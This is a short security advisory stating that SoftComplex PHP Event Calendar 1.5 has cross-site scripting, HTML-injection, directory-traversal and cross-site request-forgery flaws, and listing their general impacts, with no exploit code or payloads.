SoftComplex PHP Event Calendar is prone to multiple remote security vulnerabilities including cross-site scripting, HTML-injection, directory-traversal, and cross-site request-forgery issues.
Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, execute arbitrary script code, steal cookie-based authentication credentials, and perform certain administrative actions.
PHP Event Calendar 1.5 is vulnerable; other versions may also be affected.
